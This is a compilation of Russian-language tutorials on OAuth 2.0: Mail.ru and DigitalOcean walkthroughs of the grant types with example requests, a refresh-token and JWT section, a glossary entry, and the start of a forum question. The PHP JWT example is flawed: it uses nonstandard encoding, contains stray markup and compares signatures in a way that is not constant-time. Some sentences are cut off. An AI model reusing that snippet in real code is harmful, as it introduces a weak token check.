OAuth 2.0 простым и понятным языком / Блог компании Mail.ru Group / Хабр
На хабре уже писали про OAuth 1.0, но понятного объяснения того, что такое OAuth 2.0 не было. Ниже я расскажу, в чем отличия и преимущества OAuth 2.0 и, как его лучше использовать на сайтах, в мобильных и desktop-приложениях.
Что такое OAuth 2.0
OAuth 2.0 — протокол авторизации, позволяющий выдать одному сервису (приложению) права на доступ к ресурсам пользователя на другом сервисе. Протокол избавляет от необходимости доверять приложению логин и пароль, а также позволяет выдавать ограниченный набор прав, а не все сразу.
Чем отличаются OpenID и OAuth
Не смотря на то, что объяснений на эту тему уже было много, она по-прежнему вызывает некоторое непонимание.
OpenID предназначен для аутентификации — то есть для того, чтобы понять, что этот конкретный пользователь является тем, кем представляется. Например, с помощью OpenID некий сервис Ололо может понять, что зашедший туда пользователь, это именно Рома Новиков с Mail. Ru. При следующей аутентификации Ололо сможет его опять узнать и понять, что, это тот же Рома, что и в прошлый раз.
OAuth же является протоколом авторизации, то есть позволяет выдать права на действия, которые сам Ололо сможет производить в Mail.Ru от лица Ромы. При этом Рома после авторизации может вообще не участвовать в процессе выполнения действий, например, Ололо сможет самостоятельно заливать фотографии на Ромин аккаунт.
Как работает OAuth 2.0
Как и первая версия, OAuth 2.0 основан на использовании базовых веб-технологий: HTTP-запросах, редиректах и т. п. Поэтому использование OAuth возможно на любой платформе с доступом к интернету и браузеру: на сайтах, в мобильных и desktop-приложениях, плагинах для браузеров…
Ключевое отличие от OAuth 1.0 — простота. В новой версии нет громоздких схем подписи, сокращено количество запросов, необходимых для авторизации.
Общая схема работы приложения, использующего OAuth, такова:
- получение авторизации
- обращение к защищенным ресурсам
Результатом авторизации является access token — некий ключ (обычно просто набор символов), предъявление которого является пропуском к защищенным ресурсам.
В протоколе описано несколько вариантов авторизации, подходящих для различных ситуаций:
- авторизация для приложений, имеющих серверную часть (чаще всего, это сайты и веб-приложения)
- авторизация для полностью клиентских приложений (мобильные и desktop-приложения)
- авторизация по логину и паролю
- восстановление предыдущей авторизации
Авторизация для приложений, имеющих серверную часть
- Редирект на страницу авторизации
- На странице авторизации у пользователя запрашивается подтверждение выдачи прав
- В случае согласия пользователя, браузер редиректится на URL, указанный при открытии страницы авторизации, с добавлением в GET-параметры специального ключа — authorization code
- Сервер приложения выполняет POST-запрос с полученным authorization code в качестве параметра. В результате этого запроса возвращается
Это самый сложный вариант авторизации, но только он позволяет сервису однозначно установить приложение, обращающееся за авторизацией (это происходит при коммуникации между серверами на последнем шаге). Во всех остальных вариантах авторизация происходит полностью на клиенте и по понятным причинам возможна маскировка одного приложения под другое. Это стоит учитывать при внедрении OAuth-аутентификации в API сервисов.
Пример
Здесь и далее примеры приводятся для API Mail.Ru, но логика одинаковая для всех сервисов, меняются только адреса страниц авторизации. Обратите внимание, что запросы надо делать по HTTPS.
Редиректим браузер пользователя на страницу авторизации:
> GET /oauth/authorize?response_type=code&client_id=464119& redirect_uri=http%3A%2F%2Fexample.com%2Fcb%2F123 HTTP/1.1 > Host: connect.mail.ru
Здесь и далее, client_id и client_secret — значения, полученные при регистрации приложения на платформе.
После того, как пользователь выдаст права, происходит редирект на указанный redirect_uri:
< HTTP/1.1 302 Found < Location: http://example.com/cb/123?code=DoRieb0y
Обратите внимание, если вы реализуете логин на сайте с помощью OAuth, то рекомендуется в
Используем полученный code для получения access_token, выполняя запрос с сервера:
> POST /oauth/token HTTP/1.1 > Host: connect.mail.ru > Content-Type: application/x-www-form-urlencoded > > grant_type=authorization_code&client_id=464119&client_secret=deadbeef&code=DoRieb0y& redirect_uri=http%3A%2F%2Fexample.com%2Fcb%2F123 < HTTP/1.1 200 OK < Content-Type: application/json < < { < "access_token":"SlAV32hkKG", < "token_type":"bearer", < "expires_in":86400, < "refresh_token":"8xLOxBtZp8", < }
Обратите внимание, что в последнем запросе используется client_secret, который в данном случае хранится на сервере приложения, и подтверждает, что запрос не подделан.
В результате последнего запроса получаем сам ключ доступа (access_token), время его «протухания» (expires_in), тип ключа, определяющий как его надо использовать, (token_type) и refresh_token о котором будет подробнее сказано ниже. Дальше, полученные данные можно использовать для доступа к защищенным ресурсам, например, API Mail.Ru:
> GET /platform/api?oauth_token=SlAV32hkKG&client_id=464119&format=json&method=users.getInfo& sig=... HTTP/1.1 > Host: appsmail.ru
Описание в спецификации
Авторизация полностью клиентских приложений
- Открытие встроенного браузера со страницей авторизации
- У пользователя запрашивается подтверждение выдачи прав
- В случае согласия пользователя, браузер редиректится на страницу-заглушку во фрагменте (после #) URL которой добавляется access token
- Приложение перехватывает редирект и получает access token из адреса страницы
Этот вариант требует поднятия в приложении окна браузера, но не требует серверной части и дополнительного вызова сервер-сервер для обмена authorization code на access token.
Пример
Открываем браузер со страницей авторизации:
> GET /oauth/authorize?response_type=token&client_id=464119 HTTP/1.1 > Host: connect.mail.ru
После того, как пользователь выдаст права, происходит редирект на стандартную страницу-заглушку, для Mail.Ru это connect.mail.ru/oauth/success.html:
< HTTP/1.1 302 Found < Location: http://connect.mail.ru/oauth/success.html#access_token=FJQbwq9&token_type=bearer& expires_in=86400&refresh_token=yaeFa0gu
Приложение должно перехватить последний редирект, получить из адреса acess_token и использовать его для обращения к защищенным ресурсам.
Описание в спецификации
Авторизация по логину и паролю
Авторизация по логину и паролю представляет простой POST-запрос, в результате которого возвращается access token. Такая схема не представляет из себя ничего нового, но вставлена в стандарт для общности и рекомендуется к применению только, когда другие варианты авторизации не доступны.
Пример
> POST /oauth/token HTTP/1.1 > Host: connect.mail.ru > Content-Type: application/x-www-form-urlencoded > > grant_type=password&client_id=31337&client_secret=deadbeef&[email protected]& password=qwerty < HTTP/1.1 200 OK < Content-Type: application/json < < { < "access_token":"SlAV32hkKG", < "token_type":"bearer", < "expires_in":86400, < "refresh_token":"8xLOxBtZp8", < }
Описание в спецификации
Восстановление предыдущей авторизации
Обычно, access token имеет ограниченный срок годности. Это может быть полезно, например, если он передается по открытым каналам. Чтобы не заставлять пользователя проходить авторизацию после истечения срока действия
Пример
> POST /oauth/token HTTP/1.1 > Host: connect.mail.ru > Content-Type: application/x-www-form-urlencoded > > grant_type=refresh_token&client_id=31337&client_secret=deadbeef&refresh_token=8xLOxBtZp8 < HTTP/1.1 200 OK < Content-Type: application/json < < { < "access_token":"Uu8oor1i", < "token_type":"bearer", < "expires_in":86400, < "refresh_token":"ohWo1ohr", < }
Описание в спецификации
Минусы OAuth 2.0
Во всей этой красоте есть и ложка дегтя, куда без нее?
OAuth 2.0 — развивающийся стандарт. Это значит, что спецификация еще не устоялась и постоянно меняется, иногда довольно заметно. Так, что если вы решили поддержать стандарт прямо сейчас, приготовьтесь к тому, что его поддержку придется подпиливать по мере изменения спецификации. С другой стороны, это также значит, что вы можете поучаствовать в процессе написания стандарта и внести в него свои идеи.
Безопасность OAuth 2. 0 во многом основана на SSL. Это сильно упрощает жизнь разработчикам, но требует дополнительных вычислительных ресурсов и администрирования. Это может быть существенным вопросом в высоко нагруженных проектах.
Заключение
OAuth — простой стандарт авторизации, основанный на базовых принципах интернета, что делает возможным применение авторизации практически на любой платформе. Стандарт имеет поддержку крупнейших площадок и очевидно, что его популярность будет только расти. Если вы задумались об API для вашего сервиса, то авторизация с использованием OAuth 2.0 — хороший выбор.
Со своей стороны, мы внедрили OAuth 2.0 в API Mail.Ru и, теперь, вы можете использовать возможности протокола для реализации любых клиентов и сервисов, интегрированных с Mail.Ru.
Ссылки
Дмитрий Битман — менеджер Платформы@Mail.Ru
Oauth 2.0 — базовое понимание
Сегодня, в мире социальных медиа, каждый из нас использует десятки приложений и вебсайтов ежедневно. Oauth 2.0 призван упростить процесс авторизации и, как следствие, сделать жизнь пользователей проще и безопаснее. Возникает вопрос — каким образом?
Oauth 2.0 — что это такое?
Возьмем обычную ситуацию: вы открываете какой-либо сайт, выбираете, какой провайдер данных и какой конкретно аккаунт использовать, даете разрешение на использование данных (если необходимо) и работаете дальше от имени владельца этого аккаунта. Вы не вспоминаете пароль, не тратите время на утомительную регистрацию — все это сводится к нескольким кликами.
Eстественно, для этого у Вас должна быть учетная запись у выбранного провайдера.
Термин «провайдер» подразумевает сервис, который владеет данными пользователя и, с разрешения пользователя, предоставляет сторонним сервисам (клиентам) безопасный доступ к этим данным. Приложение, желающее получить данные пользователя — это клиент.
Для примера взята форма логина/регистрации на Aliexpress. В данном случае на форме присутствует выбор из нескольких провайдеров — Google, Facebook, Вконтакте и Twitter.
Вы жмете «войти через Facebook» или «войти через Google», Вас перенаправляют на страницу выбора аккаунта, Вы выбираете свою учетную запись и все — Вы уже залогинились.
Спецификация OAuth 2.0 определяет протокол делегирования, который предоставляет клиентам безопасный доступ к ресурсам пользователя на сервисе-провайдере. Такой подход избавляет пользователя от необходимости вводить пароль за пределами сервиса-провайдера: весь процесс сводится к нажатию кнопки «Согласен предоставить доступ к …». Идея в том, что имея один хорошо защищенный аккаунт, пользователь может использовать его для аутентификации на других сервисах, не раскрывая при этом своего пароля.
В отличие от OpenID, OAuth 2.0 может использоваться и для авторизации. То есть, позволяет выдать права на действия, которые сам сервис-клиент сможет производить от лица владельца аккаунта. При этом сам владелец после авторизации может вообще не участвовать в процессе выполнения действий, например, сервис по продаже билетов самостоятельно создает мероприятие в календаре пользователя, или игра размещает на стене в Facebook отчет об очередном завоеванном кубке.
Общая схема OAuth 2.0 :
- Клиент запрашивает авторизацию у владельца ресурса.
- Клиент получает грант авторизации.
- Клиент запрашивает токен доступа путем аутентификации с помощью сервера авторизации и предоставление гранта авторизации.
- Сервер авторизации аутентифицирует клиента, проверяя грант авторизации и, если он действителен, выдает токен доступа (access token) и рефреш токен (refresh token).
- Клиент запрашивает защищенный ресурс у провайдера и аутентифицируется, представляя токен доступа.
- Провайдер проверяет токен доступа и, если он действителен, обслуживает запрос.
Итак, мы видим, что конечная цель — это получить access и refresh токены. Дальше клиент общается с провайдером данных, пока у access токена не кончится срок годности. Затем, чтобы получить доступ к данным провайдера снова, клиенту нужно воспользоваться refresh токеном и отправить запрос на генерацию новой пары access/refresh токенов.
Зачем вообще нужен refresh токен?
Представим ситуацию, когда некто завладел Вашим access токеном и получил доступ к защищенным данным. Именно поэтому у токенов есть срок годности. У access токена он обычно маленький — от нескольких секунд, до нескольких дней, у refresh токена — побольше. Так вот доступ к данным у злоумышленника будет до тех пор, пока токен доступа не протухнет. Допустим, этот некто завладел еще и refresh токеном и воспользовался им раньше чем Вы, тем самым получив новый access токен. В таком случае Вы не можете получить данные с провайдера, но для решения этой проблемы Вам будет достаточно разлогиниться и залогиниться заново — и все! Все старые токены станут недействительными или удаляться (зависит от реализации). После этой процедуры Вы получаете новые access/refresh токены и можете спокойно продолжить работу, а плохой парень, со старыми токенами, остался с носом.
Преимущества и недостатки OAuth 2.0
Из плюсов OAuth 2.0 протокола можно выделить следующее:
- Обращение к ресурсам происходит по HTTP/HTTPS с указанием токена в заголовках. Это позволяет использовать OAuth практически в любых решения: мобильных и десктоп приложениях, сайтах, и даже в плагинах для браузеров.
- Возможность авторизации пользователя.
- Популярность — большинство компаний используют его в своих API.
- Простота реализации и большое количество “литературы”.
- Наличие готовых решений, которые можно изменять под свои нужды.
Из минусов:
- Нет единого установленного формата, вследствие чего на каждый сервис нужно иметь отдельную реализацию.
- При аутентификации иногда приходится делать дополнительные запросы для получения даже минимальной информации о пользователе. Решается использованием jwt токена, но далеко не все сервисы его поддерживают.
- При краже токена у злоумышленника на какое-то время появляется доступ к защищенным данным. Для минимизации данного варианта можно используют токен с подписью.
Реализацию OAuth 2.0 подхода на php можно найти на GitHub в нескольких популярных бандлах:
Немного о JWT
JSON Web Token — открытый стандарт для создания токена в json формате. Такой токен состоит из трех частей, разделенных точками: заголовок(header), набор полей (payload) и сигнатура. Первые два блока представлены в json-формате и дополнительно закодированы. Для заголовка есть один обязательный ключ — alg, указывающий алгоритм подписи. Набор полей payload содержит произвольные пары ключ/значения. Также существуют необязательные зарезервированные ключи (ознакомиться).
Сигнатура может генерироваться при помощи как симметричных алгоритмов шифрования, так и асимметричных. Кроме того, существует отдельный стандарт, описывающий формат зашифрованного JWT-токена.
Пример
У нас есть некий ключ SECRET_KEY, его знает только сервер и приложение — клиент (получает его во время установки).
$SECRET_KEY = "stFalcon"; $header = '{"typ":"JWT","alg":"HS256"}'; $payload = '{"sub":"1234567890","name":"alex","admin":true}'; $unsignedToken = \sprintf("%s.%s", base64_encode($header), base64_encode($payload)); $signature = hash_hmac('sha256', $unsignedToken, $SECRET_KEY);</p></ol> $tokenEncoded = \sprintf("%s. %s.%s", base64_encode($header), base64_encode($payload), base64_encode($signature));
В результате имеем готовый токен —
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFsZXgiLCJhZG1pbiI6dHJ1ZX0=.MTI5MGZmYTkwMGM2YmE0ODIzNGQ2ZGI4OGYxZTM2NGY5Y2VhYzExN2NiZGNjODA0YmNhN2NhNmM1ZWUzMDQ3NA==
Теперь проверим токен на валидность —
$tokenDecodedArr = explode('.', $tokenEncoded); $externalHeader = $tokenDecodedArr[0]; $externalPayload = $tokenDecodedArr[1]; $externalSignature = $tokenDecodedArr[2]; if ( base64_decode($externalSignature) === hash_hmac('sha256' , \sprintf("%s.%s", $externalHeader, $externalPayload), $SECRET_KEY) ) { echo 'matched'; } else { echo 'don’t mathe'; }
Таким образом мы проверяем совпадают ли подписи, если да — JWT валидный, т.е. пришел от проверенного источника. Если подписи не совпадают, значит что-то пошло не так — возможно, это является признаком потенциальной атаки.
В итоге используя jwt мы получаем дополнительную ступень защиты от кражи своих данных, и возможность передавать некий набор информации без дополнительных запросов.
Заключение
Подведем итог. OAuth 2.0 это простой протокол авторизации, основанный на HTTP, что дает возможность применять его практически на любой платформе. Он имеет хорошую документацию, и большинство крупных площадок его поддерживают. Так что если вы решили использовать этот протокол в своем проекте — это хороший выбор.
Введение в OAuth 2 | DigitalOcean
Введение
OAuth 2 представляет собой фреймворк для авторизации, позволяющий приложениям осуществлять ограниченный доступ к пользовательским аккаунтам на HTTP сервисах, например, на Facebook, GitHub и DigitalOcean. Он работает по принципу делегирования аутентификации пользователя сервису, на котором находится аккаунт пользователя, позволяя стороннему приложению получать доступ к аккаунту пользователя. OAuth 2 работает в вебе, на десктопных и мобильных приложениях.
Эта статья предназначена для разработчиков приложений и предоставляет обзор ролей, типов авторизации и типичных сценариев использования OAuth 2.
Начнём с ролей OAuth!
Роли OAuth
OAuth определяет четыре роли:
- Владелец ресурса
- Клиент
- Сервер ресурсов
- Авторизационный сервер
Далее мы рассмотрим каждую из ролей.
Владелец ресурса:
ПользовательВладельцем ресурса является пользователь, который авторизует приложение для доступа к своему аккаунту. Доступ приложения к пользовательскому аккаунту ограничен “областью видимости” (scope) предоставленных прав авторизации (например, доступ на чтение или запись).
Сервер ресурсов / авторизации:
APIСервер ресурсов непосредственно хранит защищённые данные аккаунтов пользователей, а авторизационный сервер проверяет подлинность информации, предоставленной пользователем, а затем создаёт авторизационные токены для приложения, с помощью которых приложение будет осуществлять доступ к пользовательским данным.
С точки зрения разработчика приложения API сервиса одновременно выполняет и роль сервера ресурсов и роль сервера авторизации. Далее мы будем считать эти две роли одной, и называть её Сервис или API.
Клиент:
ПриложениеКлиентом является приложение, которое хочет осуществить доступ к аккаунту пользователя. Перед осуществлением доступа приложение должно быть авторизовано пользователем, а авторизация должна быть одобрена со стороны API.
Абстрактное описание протокола
Теперь, когда у нас есть представление о ролях, используемых в OAuth, рассмотрим диаграмму их взаимодействия друг с другом.
Рассмотрим описание последовательности шагов на этой диаграмме:
- Приложение запрашивает у пользователя авторизацию на доступ к серверу ресурсов.
- Если пользователь авторизует запрос, приложение получает разрешение на авторизацию (authorization grant).
- Приложение запрашивает авторизационный токен у сервера авторизации (API) путём предоставления информации о самом себе и разрешении на авторизацию от пользователя.
- Если подлинность приложения подтверждена и разрешение на авторизацию действительно, сервер авторизации (API) создаёт токен доступа для приложения. Процесс авторизации завершён.
- Приложение запрашивает ресурс у сервера ресурсов (API), предоставляя при этом токен доступа для аутентификации.
- Если токен действителен, сервер ресурсов (API) предоставляет запрашиваемый ресурс приложению.
Фактический порядок шагов описанного процесса может отличаться в зависимости от используемого типа разрешения на авторизацию, но в целом процесс будет выглядеть описанным образом. Далее мы рассмотрим различные типы разрешений на авторизацию.
Регистрация приложения
Перед тем, как начать использовать OAuth в вашем приложении, вам необходимо зарегистрировать своё приложения в сервисе. Это делается путём регистрации в разделе “developer” или “API” сайта сервиса, где вам необходимо предоставить следующую информацию (возможно, включая некоторые детали о вашем приложении):
- Название приложения
- Сайт приложения
- Redirect URL или callback URL
Redirect URL — это URL, на который сервис будет перенаправлять пользователя после авторизации (или отказа в авторизации) вашего приложения.
Идентификатор клиента и секрет клиента
После регистрации приложения сервис создаст учётные данные клиента — идентификатор клиента (client ID) и секрет клиента (client secret). Идентификатор клиента представляет собой публично доступную строку, которая используется API сервиса для идентификации приложения, а также используется для создания авторизационных URL для пользователей. Секрет клиента используется для аутентификации подлинности приложения для API сервиса, когда приложение запрашивает доступ к аккаунту пользователя. Секрет клиента должен быть известен только приложению и API.
Разрешение на авторизацию
В абстрактном описании протокола выше первые четыре шага касаются вопросов создания разрешения на авторизацию и токена доступа. Тип разрешения на авторизацию зависит от используемого приложением метода запроса авторизации, а также от того, какие типы разрешения поддерживаются со стороны API. OAuth 2 определяет четыре разных типа, каждый из которых полезен в определённых ситуациях:
- Код авторизации (Authorization Code): используется с серверными приложениями (server-side applications).
- Неявный (Implicit): используется мобильными или веб-приложениями (приложения, работающие на устройстве пользователя).
- Учётные данные владельца ресурса (Resource Owner Password Credentials): используются доверенными приложениями, например приложениями, которые являются частью самого сервиса.
- Учётные данные клиента (Client Credentials): используются при доступе приложения к API.
Далее мы рассмотрим эти типы разрешения на авторизацию, примеры их использования.
Тип разрешения на авторизацию: Код авторизации
Код авторизации является одним из наиболее распространённых типов разрешения на авторизацию, поскольку он хорошо подходит для серверных приложений, где исходный код приложения и секрет клиента не доступны посторонним. Процесс в данном случае строится на перенаправлении (redirection), что означает, что приложение должно быть в состоянии взаимодействовать с пользовательским агентом (user-agent), например, веб-браузером, и получать коды авторизации API, перенаправляемые через пользовательский агент.
Опишем процесс на диаграмме:
Шаг 1: Ссылка с кодом авторизации
Сначала пользователю предоставляется ссылка следующего вида:
- https://cloud.digitalocean.com/v1/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=CALLBACK_URL&scope=read
Рассмотрим компоненты ссылки:
- https://cloud.digitalocean.com/v1/oauth/authorize: входная точка API авторизации (API authorization endpoint).
- client_id=CLIENT_ID: идентификатор клиента приложения (с помощью этого идентификатора API понимает, какое приложение запрашивает доступ).
- redirect_uri=CALLBACK_URL: URL, на который сервис перенаправит пользовательского агент (браузер) после выдачи авторизационного кода.
- response_type=code: указывает на то, что приложение запрашивает доступ с помощью кода авторизации.
- scope=read: задаёт уровень доступа приложения (в данном случае — доступ на чтение).
Шаг 2: Пользователь авторизует приложение
Когда пользователь нажимает на ссылку, он должен сперва осуществить вход в систему для подтверждения своей личности (если он, конечно, ещё не залогинен). После этого сервис предложит пользователю авторизовать или отказать в авторизации приложению для доступа к аккаунту пользователя. Пример такого диалога представлен ниже:
На этом скриншоте экрана авторизации DigitalOcean мы можем видеть, что приложение “Thedropletbook App” запрашивает доступ на чтение к аккаунту “[email protected]”.
Шаг 3: Приложение получает код авторизации
Если пользователь выбирает “Авторизовать приложение”, сервис перенаправляет пользовательский агент (браузер) по URL перенаправления (redirect URL), который был задан на этапе регистрации клиента (вместе с кодом авторизации). Ссылка будет выглядеть похожим образом (в данном примере приложение называется “dropletbook.com”):
- https://dropletbook.com/callback?code=AUTHORIZATION_CODE
Шаг 4: Приложение запрашивает токен доступа
Приложение запрашивает токен доступа у API путём отправки авторизационного кода и аутентификационной информации (включая секрет клиента) сервису. Ниже представлен пример POST-запроса для получения токена DigitalOcean:
- https://cloud.digitalocean.com/v1/oauth/token?client_id=CLIENT_ID&client_secret=CLIENT_SECRET&grant_type=authorization_code&code=AUTHORIZATION_CODE&redirect_uri=CALLBACK_URL
Шаг 5: Приложение получает токен доступа
Если авторизация прошла успешно, API возвращает токен доступа (а также, опционально, токен для обновления токена доступа — refresh token). Весь ответ сервера может выглядеть следующим образом:
- {"access_token":"ACCESS_TOKEN","token_type":"bearer","expires_in":2592000,"refresh_token":"REFRESH_TOKEN","scope":"read","uid":100101,"info":{"name":"Mark E. Mark","email":"[email protected]"}}
Теперь приложение авторизовано! Оно может использовать токен для доступа к пользовательскому аккаунту через API сервиса с заданными ограничениями доступа до тех пор, пока не истечёт срок действия токена или токен не будет отозван. Если был создан токен для обновления токена доступа, он может быть использован для получения новых токенов доступа, когда истечёт срок действия старого токена.
Тип разрешения на авторизацию: Неявный
Неявный тип разрешения на авторизацию используется мобильными и веб-приложениями (приложениями, которые работают в веб-браузере), где конфиденциальность секрета клиента не может быть гарантирована. Неявный тип разрешения также основан на перенаправлении пользовательского агента, при этом токен доступа передаётся пользовательскому агенту для дальнейшей передачи приложению. Это, в свою очередь, делает токен доступным пользователю и другим приложениям на устройстве пользователя. Также при этом типе разрешения на авторизацию не осуществляется аутентификация подлинности приложения, а сам процесс полагается на URL перенаправления (зарегистрированный ранее в сервисе).
Неявный тип разрешения на авторизацию не поддерживает токены обновления токена доступа (refresh tokens).
Процесс выглядит следующим образом: приложение просит пользователя авторизовать себя, затем сервер авторизации передаёт токен доступа к пользовательскому агенту, который передаёт токен приложению. Далее мы опишем процесс в деталях.
Шаг 1: Ссылка для неявной авторизации
При неявном типа разрешения на авторизацию пользователю предоставляется ссылка, запрашивающая токен у API. Эта ссылка выглядит почти так же, как ссылка для предыдущего способа (с кодом авторизации), за исключением того, что запрашивается токен вместо кода (обратите внимание на response type “token”):
- https://cloud.digitalocean.com/v1/oauth/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=CALLBACK_URL&scope=read
Шаг 2: Пользователь авторизует приложение
Когда пользователь нажимает на ссылку, он должен сперва осуществить вход в систему для подтверждения своей личности (если он, конечно, ещё не залогинен). После этого сервис предложит пользователю авторизовать или отказать в авторизации приложению для доступа к аккаунту пользователя. Пример такого диалога представлен ниже:
На этом скриншоте экрана авторизации DigitalOcean мы можем видеть, что приложение “Thedropletbook App” запрашивает доступ на чтение к аккаунту “[email protected]”.
Шаг 3: Пользовательский агент получает токен доступа с URI перенаправления
Если пользователь выбирает “Авторизовать приложение”, сервис перенаправляет пользовательский агент по URI пренправления приложения и включает в URI фрагмент, содержащий токен доступа. Это выглядит примерно вот так:
- https://dropletbook.com/callback#token=ACCESS_TOKEN
Шаг 4: Пользовательский агент следует по URI перенаправления
Пользовательский агент следует по URI перенаправления, сохраняя при этом токен доступа.
Шаг 5: Приложение выполняет скрипт извлечения токена доступа
Приложение возвращает веб-страницу, которая содержит скрипт для извлечения токен доступа из полного URI перенаправления, сохранённого пользовательским агентом.
Шаг 6: Токен доступа передаётся приложению
Пользовательский агент запускает скрипт извлечения токена доступа, а затем передаёт извлечённый токен приложению.
Теперь приложение авторизовано! Оно может использовать токен для доступа к пользовательскому аккаунту через API сервиса с заданными ограничениями доступа до тех пор, пока не истечёт срок действия токена или токен не будет отозван.
Тип разрешения на авторизацию: учётные данные владельца ресурса
При этом типе разрешения на авторизацию пользователь предоставляет приложению напрямую свои авторизационные данные в сервисе (имя пользователя и пароль). Приложение, в свою очередь, использует полученные учётные данные пользователя для получения токена доступа от сервиса. Этот тип разрешения на авторизацию должен использоваться только в том случае, когда другие варианты не доступны. Кроме того, этот тип разрешения стоит использовать только в случае, когда приложение пользуется доверием пользователя (например, является частью самого сервиса, или операционной системы пользователя).
Процесс с учётными данными владельца ресурса
После того, как пользователь передаст свои учётные данные приложению, приложение запросит токен доступа у авторизационного сервера. Пример POST-запроса может выглядеть следующим образом:
- https://oauth.example.com/token?grant_type=password&username=USERNAME&password=PASSWORD&client_id=CLIENT_ID
Если учётные данные корректны, сервер авторизации вернёт токен доступа приложению. Теперь приложение авторизовано!
Внимание: DigitalOcean в настоящее время не поддерживает тип разрешения на авторизацию с использованием учётных данных владельца ресурса, поэтому ссылка выше ведёт на воображаемый авторизационный сервер “oauth.example.com”.
Тип разрешения на авторизацию: Учётные данные клиента
Тип разрешения на авторизацию с использованием учётных данных клиента позволяет приложению осуществлять доступ к своему собственному аккаунту сервиса. Это может быть полезно, например, когда приложение хочет обновить собственную регистрационную информацию на сервисе или URI перенаправления, или же осуществлить доступ к другой информации, хранимой в аккаунте приложения на сервисе, через API сервиса.
Процесс с учётными данными клиента
Приложение запрашивает токен доступа путём отправки своих учётных данных, своего идентификатора клиента и секрета клиента авторизационному серверу. Пример POST-запроса может выглядеть следующим образом:
- https://oauth.example.com/token?grant_type=client_credentials&client_id=CLIENT_ID&client_secret=CLIENT_SECRET
Если учётные данные клиента корректны, авторизационный сервер вернёт токен доступа для приложения. Теперь приложение авторизовано для использования собственного аккаунта!
Внимание: DigitalOcean в настоящее время не поддерживает тип разрешения на авторизацию с использованием учётных данных клиента, поэтому ссылка выше ведёт на воображаемый авторизационный сервер “oauth.example.com”.
Пример использования токена доступа
После того, как приложение получит токен доступа, оно может использовать этот токен для доступа к пользовательскому аккаунту через API сервиса с заданными ограничениями доступа до тех пор, пока не истечёт срок действия токена или токен не будет отозван.
Ниже представлен пример запроса к API с использованием curl
. Обратите внимание, что он содержит токен доступа:
- curl -X POST -H "Authorization: Bearer ACCESS_TOKEN""https://api.digitalocean.com/v2/$OBJECT"
Если токен доступа валиден, API обработает полученный запрос. Если срок действия токена доступа истёк или токен некорректен, API вернёт ошибку “invalid_request”.
Обновление токена доступа
После истечения срока действия токена доступа все запросы к API с его использованием будут возвращать ошибку “Invalid Token Error”. Если при создании токена доступа был создан и токен для обновления токена доступа (refresh token), последний может быть использован для получения нового токена доступа от авторизационного сервера.
Ниже представлен пример POST-запроса, использующего токен для обновления токена доступа для получения нового токена доступа:
- https://cloud.digitalocean.com/v1/oauth/token?grant_type=refresh_token&client_id=CLIENT_ID&client_secret=CLIENT_SECRET&refresh_token=REFRESH_TOKEN
Заключение
На этом мы завершаем наш обзор OAuth 2. Теперь у вас есть общее представление о том, как работает OAuth 2, а также о том, когда и как использовать существующие типы разрешения на авторизацию.
Если вы хотите узнать больше об OAuth 2, рекомендуем ознакомиться со следующими статьями:
Что такое OAuth? Определение термина OAuth
OAuth — это открытый протокол авторизации, позволяющий предоставлять третьей стороне ограниченный доступ к защищенным ресурсам без необходимости передавать логин и пароль. Например, юзер, который хочет предоставить сервису соцсети доступ к контактам своей почты, не должен сообщать социальной сети свой почтовый пароль. Вместо этого, пользователь проходит авторизацию в почтовом сервисе, который предоставляет сервису соцсети доступ к адресной книге.
Немного истории
OAuth 1.0
OAuth возник еще в ноябре 2006, когда Блейн Кук занимался разработкой реализации OpenID для Твиттера. Вместе с Крисом Мессиной, Блейн искал путь к использованию OpenID для доступа к Twitter API без предоставления сервису пароля. Сотрудничая с одним из разработчиков OpenID Девидом Рекордоном, Кук провел анализ функциональности OpenID и протоколов авторизации, таких как Yahoo! BBAuth, Google AuthSub, Flickr Auth. Был сделан вывод, что необходим новый открытый протокол. Так, в апреле 2007 года образовалась группа разработчиков, которые занялись его созданием. В группе приняли участие сотрудники компаний AOL и Google. Финальную версию протокола OAuth 1.0 была представлена 4 декабря 2007 года, а в 2008 году начались работы по стандартизации протокола.
OAuth 2.0
В 2010 году началась работа над новой версией протокола OAuth 2.0. Главной целью новой версии – упрощение разработки клиентский приложений.
Отличие OAuth от OpenID
Мнение, что OAuth – это расширение протокола OpenID, ошибочно. Хотя OpenID и OAuth имеют много общего, OAuth является протоколом самостоятельным и никак не связанным с OpenID.
OAuth – это протокол авторизации, позволяющий предоставлять права на использование какого-либо ресурса. Наличие прав определяется токеном, который может быть один и тот же для разных юзеров, либо у одного пользователя могут быть разные токены в разное время. Права предоставляются в обмен на предоставление токена.
OpenID – это средство аутентификации. С его помощью можно удостоверится, что пользователь именно тот, за кого он себя выдает.
Схема работы OAuth
Например, пользователь хочет распечатать свои фото, которые загружены на сайт foto.primer.ru с помощью сервиса печати print.primer.ru
- Клиент с помощью HTTPS протокола отправляет на сервис запрос с содержанием идентификатора клиента, метку времени, адрес обратного вызова, по которому нужно будет вернуть токен, тип цифровой подписи и, непосредственно, саму цифровую подпись
- Сервер подтверждает запрос и отвечает клиенту токеном доступа и частью разделенного секрета.
- Клиент осуществляет передачу токена владельцу ресурсов и для прохождения авторизации перенаправляет токен на сервер.
- Сервер получает токен и запрашивает логин и пароль. Если аутентификация прошла успешна, то просит подтверждения доступа к ресурсам, после чего пользователь перенаправляется сервером к клиенту
- Клиент передает серверу токен при помощи TLS протокола и запрашивает доступ к ресурсам
- Сервер подтверждает запрос и отвечает клиенту новым токеном доступа.
- Клиент использует новый токен для обращения к серверу за ресурсами
- Сервер подтверждает и предоставляет ресурсы.
Помогло? Делись!
Весь список терминов →android — Принцип работы Oauth3
Здравствуйте, сразу прошу извинить если вопрос глупый.
Собственно сейчас разбираюсь с возможными вариантами авторизации с помощью REST API.
Сейчас все социальные сети используют авторизацию OAuth/OAuth3.
Прочитав немало статьей, все равно не очень хорошо отложилось в голове и есть много сомнений, что правильно понимаю.
Первое что это главные игроки, я не буду называть как в документации сказано, назову как понимаю.
Пользователь. Это владелец аккаунта который имеет доступ к каким-то ресурсам. Например Facebook/Twitter.
Сервер авторизации OAuth/OAuth3. Это непосредственно сервер который производит выдачу разрешений на доступ к ресурсам(токены, «секреты»). Если взять пример из реальной жизни, то oauth.vkontakte.ru. Сервер расположен по такому домену(поддомен) сервера социальной сети Вконтакте.
